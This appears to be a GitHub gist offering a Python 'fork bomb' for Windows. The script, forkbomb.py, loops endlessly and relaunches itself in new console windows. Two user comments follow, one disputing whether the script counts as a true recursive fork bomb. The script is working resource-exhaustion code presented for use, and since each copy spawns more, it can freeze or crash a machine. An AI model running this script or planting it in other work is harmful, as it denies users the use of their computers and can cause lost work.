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Windows "fork bomb" in Python
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forkbomb.py
import subprocess, sys
while True:
subprocess.Popen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE)
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loudercake commented Jan 11, 2023

Actually os.fork() raises an exception if the number of forks is over 10000

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GlineYT commented Sep 25, 2025

this isn't even a proper forkbomb. A forkbomb is inherently recursive. This isn't recursive. Yes, it achieves the same effect, however, it does it slower than if it was legitemately recursive. This just spam opens cmd windows on a loop. 0/10 forkbomb, doesn't even fork

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